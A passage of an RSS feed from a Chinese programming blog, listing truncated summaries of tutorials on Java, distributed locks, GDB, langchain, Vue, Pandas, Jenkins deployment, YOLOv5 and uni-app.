      <guid>https://bchobby.github.io/posts/2a81eee2f4ce57bbdb0e7d479ee47588/</guid>
      <description>目录&#xA;案例一：买飞机票&#xA;案例二：开发验证码&#xA;案例三：评委打分&#xA;案例四：数字加密&#xA;案例五：数组拷贝&#xA;快捷键使用&#xA;//alt+回车快速由上而下生成方法&#xA;案例一：买飞机票 需求：&#xA;用户购买机票时，机票原价会按照淡季、旺季，头等舱还是经济舱的情况进行相应的优惠，优惠方案如下: 5-10月为旺季，头等舱9折，经济舱8.5折; 11月到来年4月为淡季， 头等舱7折，经济舱6.5折，请开发程序计算出用户当前机票的优惠价。&#xA;方法：先使用if判断月份是旺季还是淡季，然后使用switch分支判断是头等舱还是经济舱&#xA;代码：&#xA;package com.itheima; public class Test1 { public static void main(String[] args) { double a=calculate(1000,8,&#34;经济舱&#34;); System.out.println(&#34;优惠价是：&#34;+a); } public static double calculate(double price, int month, String type) { if (month &amp;gt;= 5 &amp;amp;&amp;amp; month &amp;lt;= 10) { switch (type) { case &#34;头等舱&#34;: price *= 0.9; break; case &#34;经济舱&#34;: price *= 0.85; break; } } else { switch (type) { case &#34;</description>
    </item>
    <item>
      <title>分布式锁1：5种方案解决商品超卖的方案的优缺点</title>
      <link>https://bchobby.github.io/posts/b9300c6fbe9b778761a6390493d35f64/</link>
      <pubDate>Wed, 11 Oct 2023 21:53:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9300c6fbe9b778761a6390493d35f64/</guid>
      <description>一 分布式锁 1.1 分布式锁的作用 在多线程高并发场景下，为了保证资源的线程安全问题，jdk为我们提供了synchronized关键字和ReentrantLock可重入锁，但是它们只能保证一个工程内的线程安全。在分布式集群、微服务、云原生横行的当下，如何保证不同进程、不同服务、不同机器的线程安全问题。jdk并没有给我们提供既有的解决方案。需要自己通过编写方案来解决，目前主流的实现有以下方式：&#xA;基于mysql关系型实现&#xA;基于redis非关系型数据实现&#xA;基于zookeeper/etcd实现&#xA;1.2 四种方案的比较 性能：一个sql &amp;gt; 悲观锁 &amp;gt; jvm锁 &amp;gt; 乐观锁&#xA;如果追求极致性能、业务场景简单并且不需要记录数据前后变化的情况下。 优先选择：一个sql&#xA;如果写并发量较低（多读），争抢不是很激烈的情况下优先选择：乐观锁&#xA;如果写并发量较高，一般会经常冲突，此时选择乐观锁的话，会导致业务代码不间断的重试。​ 优先选择：mysql悲观锁&#xA;不推荐jvm本地锁。&#xA;二 模拟单体超卖 2.1 工程结构 2.2 编写工程代码 1.pom文件&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.1.46&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.4.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.16&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-redis&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-devtools&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3.12.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.junit.vintage&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit-vintage-engine&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; 2.</description>
    </item>
    <item>
      <title>玩转Linux GDB &amp; pdb</title>
      <link>https://bchobby.github.io/posts/2200cecd5e5476afe2ce275f62fafb90/</link>
      <pubDate>Wed, 11 Oct 2023 17:33:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2200cecd5e5476afe2ce275f62fafb90/</guid>
      <description>一、GDB调试🐯 watch -n指令的使用：&#xA;# 每隔1s在终端打印一次当前系统内存使用情况 watch -n 1 &#34;cat /proc/meminfo&#34; # 每隔1s查看当前系统中所有正在运行的进程 # ps：查看系统进程； -e：显示所有进程；-f：全格式 # ps -aux指令也用于查看进程。两者的输出风格不同，内容几乎无差别，一般推荐使用-elf watch -n 1 &#34;ps -elf&#34; nm指令的使用：&#xA;# 查看可执行文件或者动态链接库的符号表（函数、变量等） nm ***.exe # 加上grep可以精确定位 nm ***.exe | grep 待查名称 gdb指令：&#xA;# 打开一个可视化的gdb调试终端，开始调试程序文件 gdb -tui **.exe # 此外，也可以对正在运行中的进程，切入gdb调试 gdb -p 进程PID # or gdb attach 进程PID 进入调试： （gdb）l 数字n # （小写L）显示出代码从第n行开始的内容，默认显示10行；之后再次输入l，会再往后输出10行 （gdb）set args model/yolo4_tf.xmodel 0 -t 8 # set args：设置程序启动参数 （gdb）run # run指令：进入主程序，立即开始执行，直到遇到断点或者程序结束 （gdb）start # start指令：进入主程序，停在main()主函数入口处；等待下一步指示（手动打断点等） （gdb）break n （简写b n） # 在第n行处设置断点（可以带上代码路径和代码名称： b /usr/codeprj/OAGUPDATE.</description>
    </item>
    <item>
      <title>langchain-模型</title>
      <link>https://bchobby.github.io/posts/82ba601f07189bfccbb6be40f9816713/</link>
      <pubDate>Wed, 11 Oct 2023 17:27:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82ba601f07189bfccbb6be40f9816713/</guid>
      <description>langchain模型 一、langchain 封装的模型分为两类1，LLM2，聊天模型 二、 langchain 与 OpenAi 模型三、langchain 事例1,LLM 交互2,聊天模型交互 一、langchain 封装的模型分为两类 大语言模型（LLM）聊天模型（Chat Models） Langchain 支持众多模型供应商，包括OpenAI、ChatGLM、HungingFace&#xA;1，LLM LLM 是一种基于统计的机器学习模型，用于对文本数据进行建模和生成。LLM学习和捕抓文本数据中的语言模式、语法规则和语义关系，以生成连贯并合乎语言规则文本。langchain 环境中，LLM特指文本补全模型（text completion model） 输入输出一条文本内容一条文本内容 2，聊天模型 聊天模型是语言模型的一种变体。聊天模型使用语言模型，并提供“聊天消息”的接口。 输入输出一条聊天消息一条聊天消息 二、 langchain 与 OpenAi 模型 GPT 模型归位聊天模型&#xA;davinci、curie、babbage、ada 模型归位文本补全模型&#xA;langchain 提供接口继承不同的模型，为了便于切换模型，langchain 将不同的抽象模型为相同的接口 BaseLanguageModel ， 并提供 predict 和 predict_message 函数来调用模型。&#xA;当使用LLM 时推荐使用 predict 函数，当使用聊天模型时推荐使用 predict_message函数 三、langchain 事例 1,LLM 交互 from langchain.llms import OpenAI import os os.environ[&#34;OPENAI_API_KEY&#34;] = &#34;openi_key&#34; llm = OpenAI(model_name=&#34;text-davinci-003&#34;) response = llm.predict(&#34;用 node.</description>
    </item>
    <item>
      <title>通过正则表达式获取字符串中的省市区</title>
      <link>https://bchobby.github.io/posts/90bfe4b4bb8b4c1d090c824fa1ea9233/</link>
      <pubDate>Wed, 11 Oct 2023 17:23:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90bfe4b4bb8b4c1d090c824fa1ea9233/</guid>
      <description>通过正则表达式获取字符串中的省市区 //[^省]+省|.+自治区|[^澳门]+澳门|北京|重庆|上海|天津|台湾|[^香港]+香港|[^市]+市) 越前面的优先级越高，会取优先级高的第一个匹配到的进行截取 //^自治州]+自治州|[^特别行政区]+特别行政区|[^市]+市|.*?地区|.*?行政单位|.+盟|市辖区|[^县]+县 越前面的优先级越高，会取优先级高的第一个匹配到的进行截取 //[^县]+县|[^市]+市|[^镇]+镇|[^区]+区|[^乡]+乡|.+场|.+旗|.+海域|.+岛 越前面的优先级越高，会取优先级高的第一个匹配到的进行截取 上代码 package com.example.helloworld.controller; import java.util.HashMap; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; public class AddressUtil { private AddressUtil() { } /** * 从地址串中解析提取出省市区等信息 * * @param address 地址信息 * @return 解析后的地址Map */ private static Map&amp;lt;String, String&amp;gt; addressResolution(String address) { //1.地址的正则表达式 //[^省]+省|.+自治区|[^澳门]+澳门|北京|重庆|上海|天津|台湾|[^香港]+香港|[^市]+市) 越前面的优先级越高，会取优先级高的第一个匹配到的进行截取 //^自治州]+自治州|[^特别行政区]+特别行政区|[^市]+市|.*?地区|.*?行政单位|.+盟|市辖区|[^县]+县 越前面的优先级越高，会取优先级高的第一个匹配到的进行截取 //[^县]+县|[^市]+市|[^镇]+镇|[^区]+区|[^乡]+乡|.+场|.+旗|.+海域|.+岛 越前面的优先级越高，会取优先级高的第一个匹配到的进行截取 String regex = &#34;(?&amp;lt;province&amp;gt;[^省]+省|.+自治区|[^澳门]+澳门|北京|重庆|上海|天津|台湾|[^香港]+香港|[^市]+市)?(?&amp;lt;city&amp;gt;[^自治州]+自治州|[^特别行政区]+特别行政区|[^市]+市|.*?地区|.*?行政单位|.+盟|市辖区|[^县]+县)(?&amp;lt;county&amp;gt;[^县]+县|[^市]+市|[^镇]+镇|[^区]+区|[^乡]+乡|.+场|.+旗|.+海域|.+岛)?(?&amp;lt;address&amp;gt;.*)&#34;; //2、创建匹配规则 Matcher m = Pattern.compile(regex).matcher(address); String province; String city; String county; String detailAddress; Map&amp;lt;String, String&amp;gt; map = new HashMap&amp;lt;&amp;gt;(16); while (m.</description>
    </item>
    <item>
      <title>玩转工具系列之Markdown</title>
      <link>https://bchobby.github.io/posts/7a939c32f7cbbd0736607774b47875b6/</link>
      <pubDate>Wed, 11 Oct 2023 17:22:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a939c32f7cbbd0736607774b47875b6/</guid>
      <description>零、学习网站🍓 官方链接野生网站链接野生资料链接 一、设置字体🍍 1. 字体 &amp;lt;font face=&#34;黑体&#34;&amp;gt;我是黑体字&amp;lt;/font&amp;gt; &amp;lt;font face=&#34;宋体&#34;&amp;gt;我是宋体字&amp;lt;/font&amp;gt; &amp;lt;font face=&#34;微软雅黑&#34;&amp;gt;我是微软雅黑字&amp;lt;/font&amp;gt; &amp;lt;font face=&#34;fantasy&#34;&amp;gt;我是fantasy字&amp;lt;/font&amp;gt; &amp;lt;font face=&#34;Helvetica&#34;&amp;gt;我是Helvetica字&amp;lt;/font&amp;gt; &amp;lt;font face=&#34;Times New Roman&#34;&amp;gt;我是Times New Roman字&amp;lt;/font&amp;gt; 2. 字体颜色 # 方式1 浅红色文字：&amp;lt;font color=&#34;#dd0000&#34;&amp;gt;浅红色文字：&amp;lt;/font&amp;gt; # 方式2 &amp;lt;font color=&#34;color: blue&#34;&amp;gt;蓝色&amp;lt;/font&amp;gt; &amp;lt;font color=&#34;rgb(200, 100, 100)&#34;&amp;gt;使用 rgb 颜色值&amp;lt;/font&amp;gt; # 方式3 &amp;lt;font style=&#34;color: rgb(200,100,100)&#34;&amp;gt;使用 rgb 颜色值&amp;lt;/font&amp;gt; RGB颜色对照表：实色效果-RGB值-16色同一颜色值在不同显示器上会有色差，选取颜色时尽量使用安全色但注意：以上方法在GitHub中无效！ 3. 背景色 &amp;lt;font style=&#34;background: blue&#34;&amp;gt;蓝色&amp;lt;/font&amp;gt; # 同时设置字体颜色和背景色 &amp;lt;font style=&#34;background: rgb(200,100,100), color: rgb(200,100,100)&#34;&amp;gt;使用 rgb 颜色值&amp;lt;/font&amp;gt; # 使用图片作背景 &amp;lt;font style=&#34;background: url(&#39;http://www.wenliku.com/d/file/patterns/2019-06-26/d8fac26c38c9b2a7e2393fc9af766e8f.jpg&#39;) &#34;&amp;gt;I wish you a Merry Christmas&amp;lt;/font&amp;gt; # 七彩渐变背景色 &amp;lt;font style=&#34;</description>
    </item>
    <item>
      <title>echarts图 横向滚动条</title>
      <link>https://bchobby.github.io/posts/d0981b3b231d6822d160d59179296bbe/</link>
      <pubDate>Wed, 11 Oct 2023 16:21:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0981b3b231d6822d160d59179296bbe/</guid>
      <description>dataZoom: [ { borderColor: &#34;transparent&#34;, showDataShadow: false, start: 0, end: 70, labelFormatter: function(value) { return &#34;&#34;; }, zoomLock: true, height: 2, bottom: &#34;1%&#34;, id: &#34;dataZoomX&#34;, type: &#34;slider&#34;, show: true, //true 或 false 是否显示滚动条 xAxisIndex: [0], filterMode: &#34;filter&#34; } ], getQueryDepart(xdata, ydata) { let dataZoomShow = false; if (xdata.length &amp;gt; 1) { dataZoomShow = true; } const option = { dataZoom: [ { borderColor: &#34;transparent&#34;, showDataShadow: false, start: 0, end: 70, labelFormatter: function(value) { return &#34;</description>
    </item>
    <item>
      <title>VUE系统内嵌其他页面的三种方法</title>
      <link>https://bchobby.github.io/posts/c976b9e2b4a965598d8358bce3586632/</link>
      <pubDate>Wed, 11 Oct 2023 16:15:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c976b9e2b4a965598d8358bce3586632/</guid>
      <description> (在导航守卫和拦截器中确保能给到相应的token即可跳转到指定页面) 方法一 : Iframe打开 在A项目中使用标签打开&#xA;在B项目中 (本人的项目是指定跳转页面, 所以在当导航守卫的js文件中接收传过来的参数)&#xA;方法二 : object打开 A 项目&#xA;B项目 同上接收&#xA;方法三 : Vue-iframe 方式 (专门为 Vue 开发的插件,可自定义的内容 CSS、自动调整 iframe 高度等)&#xA;1 .安装 Vue-iframe : 1 | npm install vue-iframe 2. 引入 : 1 import VueIframe from &#34;vue-iframe&#34; ; 2 3 Vue.use(VueIframe) ; 3. 嵌入网页 :&#xA;1 &amp;lt;template&amp;gt; 2 &amp;lt;div class=&#39;container&#39;&amp;gt; 3 &amp;lt;vue-iframe url=&#34;http://192.168.21.116:8080?xxxxx&#34; :style=&#34;{height :&#39;100%&#39;}&#34; /&amp;gt; 4 &amp;lt;/div&amp;gt; 5 &amp;lt;/template&amp;gt; </description>
    </item>
    <item>
      <title>Vue路由配置</title>
      <link>https://bchobby.github.io/posts/0d6cafcc38b803a8ee7cd5e1657823bb/</link>
      <pubDate>Wed, 11 Oct 2023 15:37:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d6cafcc38b803a8ee7cd5e1657823bb/</guid>
      <description>大家有没有这样的操作，就是在创建vue项目时明明需要路由，但忘记把它添上了。&#xA;今儿，就教大家添加&#xA;1.安装vue-router&#xA;方法一：命令行安装，这个是适合Vue2，如果你安装4.x的话会报错的。新建终端，在你的项目目录路径下输入命令&#xA;npm install vue-router@3.5.2 方法二：图形化界面安装，注意版本，新建终端，在你的项目目录路径下输入命令vue ui&#xA;4.x版本不适合vue2，建议命令行安装&#xA;2.文件配置&#xA;a.在src目录下新建router目录，再建index.js；目录名一定是router，其它的报错如图：&#xA;b.在main.js中引入路由，并挂载&#xA;import Vue from &#39;vue&#39; import App from &#39;./App.vue&#39; import router from &#39;./router&#39; Vue.config.productionTip = false new Vue({ router, render: h =&amp;gt; h(App), }).$mount(&#39;#app&#39;) c.在router下的index.js添加如下代码，记得将路由暴露出去，否则报错&#xA;import Vue from &#39;vue&#39; import VueRouter from &#39;vue-router&#39; import HelloWorld from &#39;@/components/HelloWorld&#39; Vue.use(VueRouter) const router=new VueRouter({ routes:[ { path:&#39;/&#39;, component:HelloWorld } ] }) export default router d.最后在App.vue中加上路由出口&amp;lt;router-view/&amp;gt;标签&#xA;&amp;lt;template&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;router-view/&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 总结，安装后配置后出现问题可能是路由目录名，或是路由版本问题。vue2用3.</description>
    </item>
    <item>
      <title>【Python基础-Pandas】解决Pandas会自动把None转成NaN的问题</title>
      <link>https://bchobby.github.io/posts/de0778e06fe37931656d19005b33b5c8/</link>
      <pubDate>Wed, 11 Oct 2023 11:29:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de0778e06fe37931656d19005b33b5c8/</guid>
      <description>1. 背景 目前dataframe中的数据如下，power字段表示功率值，第一个值为20.0，第二个值为None。需要计算电量值，电量 = 功率 * 0.25，并保存到energy字段中，如果功率值为None，则电量值也为None。&#xA;power 0 20.0 1 None df = pd.DataFrame(data={ &#39;power&#39;: [20, None] }) df[&#39;energy&#39;] = df.apply( lambda col: Decimal(col[&#39;power&#39;]) * Decimal(0.25) if col[&#39;power&#39;] is not None else None, axis=1) print(df) 结果如下：&#xA;power energy 0 20.0 5.00 1 NaN NaN 发现原本的None值被自动转成了NaN&#xA;2. 解决 Pandas会自动将Python中的None值转换为NaN（&#34;Not a Number&#34;的缩写）值。NaN是Pandas中表示缺失数据的一种特殊值。这种自动转换是因为None通常用于表示缺失或空数据，而NaN是Pandas用于处理缺失数据的标准方式。&#xA;如果不希望Pandas自动将None转换为NaN，您可以在创建Series或DataFrame对象时明确指定dtype（数据类型），将其设置为适当的数据类型，以便None可以保持原样。&#xA;如下：&#xA;df = pd.DataFrame(data={ &#39;power&#39;: [20, None] }, dtype=object) df[&#39;energy&#39;] = df.apply( lambda col: Decimal(col[&#39;power&#39;]) * Decimal(0.25) if col[&#39;power&#39;] is not None else None, axis=1) print(df) 结果如下：</description>
    </item>
    <item>
      <title>Jenkins 执行远程shell脚本部署jar文件问题起不来</title>
      <link>https://bchobby.github.io/posts/a998438a1cdba593e83ed3acf0708b62/</link>
      <pubDate>Wed, 11 Oct 2023 10:33:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a998438a1cdba593e83ed3acf0708b62/</guid>
      <description>如图：最开始的时候没有加： source /etc/profile 这一行， run.sh里面的java -jar xxxx.jar 一直执行不来。&#xA;一开始以为是Jenkins执行退出后会kill一切它启动的进程，所以加了在run.sh里面加了export BUILD_ID=dontKillMe，还是不行。后来考虑是环境变量问题，加上source /etc/profile就好了，同时最好在“java -jar xxxx.jar &amp;amp;” 前加上nohup：“nohup java -jar xxxx.jar &amp;amp;”</description>
    </item>
    <item>
      <title>【YOLO系列】YOLOv5超详细解读（源码详解＋入门实践＋改进）</title>
      <link>https://bchobby.github.io/posts/6f7dccdcdf8e6e985580878c69c49620/</link>
      <pubDate>Wed, 11 Oct 2023 08:37:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f7dccdcdf8e6e985580878c69c49620/</guid>
      <description>前言 吼吼！终于来到了YOLOv5啦！&#xA;首先，一个热知识：YOLOv5没有发表正式论文哦~&#xA;为什么呢？可能YOLOv5项目的作者Glenn Jocher还在吃帽子吧，hh&#xA;目录 前言&#xA;一、YOLOv5的网络结构&#xA;二、输入端&#xA;（1）Mosaic数据增强&#xA;（2）自适应锚框计算&#xA;（3）自适应图片缩放&#xA;三、Backbone&#xA;（1）Focus结构&#xA;（2）CSP结构&#xA;四、Neck&#xA;五、Head&#xA;（1）Bounding box损失函数&#xA;（2）NMS非极大值抑制&#xA;六、训练策略&#xA;【写论文必看】深度学习纯小白如何从零开始写第一篇论文？看完这篇豁然开朗！-CSDN博客&#xA;前期回顾：&#xA;【YOLO系列】YOLOv4论文超详细解读2（网络详解）&#xA;【YOLO系列】YOLOv4论文超详细解读1（翻译 ＋学习笔记）&#xA;​​​​​​【YOLO系列】YOLOv3论文超详细解读（翻译 ＋学习笔记）&#xA;【YOLO系列】YOLOv2论文超详细解读（翻译 ＋学习笔记）&#xA;【YOLO系列】YOLOv1论文超详细解读（翻译 ＋学习笔记）&#xA;🍀本人YOLOv5源码详解系列：&#xA;YOLOv5源码逐行超详细注释与解读（1）——项目目录结构解析&#xA;YOLOv5源码逐行超详细注释与解读（2）——推理部分detect.py&#xA;YOLOv5源码逐行超详细注释与解读（3）——训练部分train.py&#xA;YOLOv5源码逐行超详细注释与解读（4）——验证部分val（test）.py&#xA;YOLOv5源码逐行超详细注释与解读（5）——配置文件yolov5s.yaml&#xA;YOLOv5源码逐行超详细注释与解读（6）——网络结构（1）yolo.py&#xA;YOLOv5源码逐行超详细注释与解读（7）——网络结构（2）common.py&#xA;🌟本人YOLOv5入门实践系列： YOLOv5入门实践（1）——手把手带你环境配置搭建&#xA;YOLOv5入门实践（2）——手把手教你利用labelimg标注数据集&#xA;YOLOv5入门实践（3）——手把手教你划分自己的数据集&#xA;YOLOv5入门实践（4）——手把手教你训练自己的数据集&#xA;YOLOv5入门实践（5）——从零开始，手把手教你训练自己的目标检测模型（包含pyqt5界面）&#xA;🌟本人YOLOv5改进系列： YOLOv5改进系列（0）——重要性能指标与训练结果评价及分析&#xA;YOLOv5改进系列（1）——添加SE注意力机制&#xA;YOLOv5改进系列（2）——添加CBAM注意力机制&#xA;YOLOv5改进系列（3）——添加CA注意力机制&#xA;YOLOv5改进系列（4）——添加ECA注意力机制&#xA;YOLOv5改进系列（5）——替换主干网络之 MobileNetV3&#xA;YOLOv5改进系列（6）——替换主干网络之 ShuffleNetV2&#xA;YOLOv5改进系列（7）——添加SimAM注意力机制&#xA;YOLOv5改进系列（8）——添加SOCA注意力机制&#xA;YOLOv5改进系列（9）——替换主干网络之EfficientNetv2&#xA;​​​​​​YOLOv5改进系列（10）——替换主干网络之GhostNet&#xA;YOLOv5改进系列（11）——添加损失函数之EIoU、AlphaIoU、SIoU、WIoU&#xA;YOLOv5改进系列（12）——更换Neck之BiFPN&#xA;YOLOv5改进系列（13）——更换激活函数之SiLU，ReLU，ELU，Hardswish，Mish，Softplus，AconC系列等&#xA;YOLOv5改进系列（14）——更换NMS（非极大抑制）之 DIoU-NMS、CIoU-NMS、EIoU-NMS、GIoU-NMS 、SIoU-NMS、Soft-NMS&#xA;YOLOv5改进系列（15）——增加小目标检测层&#xA;YOLOv5改进系列（16）——添加EMA注意力机制（ICASSP2023|实测涨点）&#xA;YOLOv5改进系列（17）——更换IoU之MPDIoU（ELSEVIER 2023|超越WIoU、EIoU等|实测涨点）</description>
    </item>
    <item>
      <title>YOLOv5改进系列（0）——重要性能指标、训练结果评价及分析、影响mAP指标的因素、优化mAP的方法</title>
      <link>https://bchobby.github.io/posts/c2ac9e959df826af903096a383e40df0/</link>
      <pubDate>Wed, 11 Oct 2023 08:34:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2ac9e959df826af903096a383e40df0/</guid>
      <description>前言 最近我在研究YOLOv5的改进，一个模型的好坏、改进后效果如何都是需要一系列指标来判断的。这篇就是我将这几天学到的内容做一下总结。&#xA;友情提醒：本篇干货较多，建议先再慢慢看噢！&#xA;​ 🍀本人YOLOv5源码详解系列： YOLOv5源码逐行超详细注释与解读（1）——项目目录结构解析&#xA;​​​​​​YOLOv5源码逐行超详细注释与解读（2）——推理部分detect.py&#xA;YOLOv5源码逐行超详细注释与解读（3）——训练部分train.py&#xA;YOLOv5源码逐行超详细注释与解读（4）——验证部分val（test）.py&#xA;YOLOv5源码逐行超详细注释与解读（5）——配置文件yolov5s.yaml&#xA;YOLOv5源码逐行超详细注释与解读（6）——网络结构（1）yolo.py&#xA;YOLOv5源码逐行超详细注释与解读（7）——网络结构（2）common.py&#xA;​ 🍀本人YOLOv5入门实践系列： YOLOv5入门实践（1）——手把手带你环境配置搭建&#xA;YOLOv5入门实践（2）——手把手教你利用labelimg标注数据集&#xA;YOLOv5入门实践（3）——手把手教你划分自己的数据集&#xA;YOLOv5入门实践（4）——手把手教你训练自己的数据集&#xA;YOLOv5入门实践（5）——从零开始，手把手教你训练自己的目标检测模型（包含pyqt5界面）&#xA;🌟本人YOLOv5改进系列： YOLOv5改进系列（0）——重要性能指标与训练结果评价及分析&#xA;YOLOv5改进系列（1）——添加SE注意力机制&#xA;YOLOv5改进系列（2）——添加CBAM注意力机制&#xA;YOLOv5改进系列（3）——添加CA注意力机制&#xA;YOLOv5改进系列（4）——添加ECA注意力机制&#xA;YOLOv5改进系列（5）——替换主干网络之 MobileNetV3&#xA;YOLOv5改进系列（6）——替换主干网络之 ShuffleNetV2&#xA;YOLOv5改进系列（7）——添加SimAM注意力机制&#xA;YOLOv5改进系列（8）——添加SOCA注意力机制&#xA;YOLOv5改进系列（9）——替换主干网络之EfficientNetv2&#xA;​​​​​​YOLOv5改进系列（10）——替换主干网络之GhostNet&#xA;YOLOv5改进系列（11）——添加损失函数之EIoU、AlphaIoU、SIoU、WIoU&#xA;YOLOv5改进系列（12）——更换Neck之BiFPN&#xA;YOLOv5改进系列（13）——更换激活函数之SiLU，ReLU，ELU，Hardswish，Mish，Softplus，AconC系列等&#xA;YOLOv5改进系列（14）——更换NMS（非极大抑制）之 DIoU-NMS、CIoU-NMS、EIoU-NMS、GIoU-NMS 、SIoU-NMS、Soft-NMS&#xA;YOLOv5改进系列（15）——增加小目标检测层&#xA;YOLOv5改进系列（16）——添加EMA注意力机制（ICASSP2023|实测涨点） YOLOv5改进系列（17）——更换IoU之MPDIoU（ELSEVIER 2023|超越WIoU、EIoU等|实测涨点）&#xA;YOLOv5改进系列（18）——更换Neck之AFPN（全新渐进特征金字塔|超越PAFPN|实测涨点）&#xA;YOLOv5改进系列（19）——替换主干网络之Swin TransformerV1（参数量更小的ViT模型）&#xA;YOLOv5改进系列（20）——添加BiFormer注意力机制（CVPR2023|小目标涨点神器）&#xA;YOLOv5改进系列（21）——替换主干网络之RepViT（清华 ICCV 2023|最新开源移动端ViT）&#xA;YOLOv5改进系列（22）——替换主干网络之MobileViTv1（一种轻量级的、通用的移动设备 ViT）&#xA;YOLOv5改进系列（23）——替换主干网络之MobileViTv2（移动视觉 Transformer 的高效可分离自注意力机制）&#xA;YOLOv5改进系列（24）——替换主干网络之MobileViTv3（移动端轻量化网络的进一步升级）&#xA;持续更新中。。。&#xA;目录&#xA;前言&#xA;🌟一、性能指标&#xA;1.1 混淆矩阵&#xA;1.2 Accuracy ：准确率（正确率）&#xA;1.3 Precision ：精确率（查准率）&#xA;1.4 Recall ：召回率（查全率）</description>
    </item>
    <item>
      <title>uni-app 经验分享，从入门到离职（实战篇）——模拟从后台获取图片路径数据后授权相册以及保存图片到本地（手机相册）</title>
      <link>https://bchobby.github.io/posts/089f96bc0e40aaf58888ade75d411216/</link>
      <pubDate>Wed, 11 Oct 2023 00:31:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/089f96bc0e40aaf58888ade75d411216/</guid>
      <description>文章目录 📋前言⏬关于专栏 🎯需求描述🎯前置知识点🧩uni.showLoading()🧩uni.authorize()🧩uni.downloadFile()🧩uni.saveImageToPhotosAlbum() 🎯演示代码🧩关于图片接口🧩代码解析简述 📝最后 📋前言 这篇文章是本专栏 uni-app 的项目实战篇，主要内容的是模拟前端通过调用接口，然后获取到数据图片的路径数据，然后授权相册，最后把图片保存到本地（相册）。&#xA;⏬关于专栏 本专栏主要是分享和介绍从零到一学习和使用的 uni-app 的笔记和个人经验。通过个人的学习经验和工作经验来给大家分享关于 uni-app 开发的技巧，以及快速入门的诀窍等等。&#xA;专栏主页：uni-app_黛琳ghz的博客-CSDN博客&#xA;🎯需求描述 案例场景：用户通过点击某个按钮可以把图片保存到相册，比如说含有二维码的名片图片、海报图片等等。&#xA;需求分析：这里以分享海报的需求为例子，用户点击分享海报，然后后台生成含二维码、海报内容的图片，前端通过调用此接口获取到图片的路径信息（路径后端拼接好返回），然后用户点击按钮，然后先授权相册，最后再保存图片到相册。（可以参考下图的原型图，仅供参考）&#xA;🎯前置知识点 在编写代码之前，我们先熟悉一下本次实战所需用到的一些知识点和 uni-app 的内置 API。&#xA;🧩uni.showLoading() uni.showLoading() 是 uni-app 框架提供的一个 API ，用于显示加载提示框。它的作用是在页面上展示一个加载中的提示框，告知用户当前正在进行一些耗时的操作，比如加载数据或进行网络请求。&#xA;uni.showLoading() 方法接受一个对象参数，可以包含以下属性：&#xA;title（可选）：加载提示框的标题文本，默认为&#34;加载中&#34;。mask（可选）：是否显示透明蒙层，防止用户在加载过程中进行其他操作，默认值为true，表示显示蒙层。 调用 uni.showLoading() 方法后，加载提示框会显示在页面上，直到调用uni.hideLoading() 方法或者一段时间后自动消失。示例代码：&#xA;uni.showLoading({ title: &#39;加载中&#39;, mask: true }); 在上述示例中，uni.showLoading() 方法被调用，显示一个标题为&#34;加载中&#34;的加载提示框，并且显示透明蒙层。当加载完成后，应该调用 uni.hideLoading() 来隐藏加载提示框。&#xA;🧩uni.authorize() uni.authorize() 是 uni-app 框架提供的一个 API ，用于请求用户授权。它的作用是向用户申请获得指定的授权权限，比如获取用户的地理位置、相机、相册等权限。&#xA;uni.authorize() 方法接受一个对象参数，可以包含以下属性：&#xA;scope：要申请的授权权限的标识符。不同的授权权限有不同的标识符，例如获取用户信息的标识符为 scope.userInfo，获取用户相册的标识符为 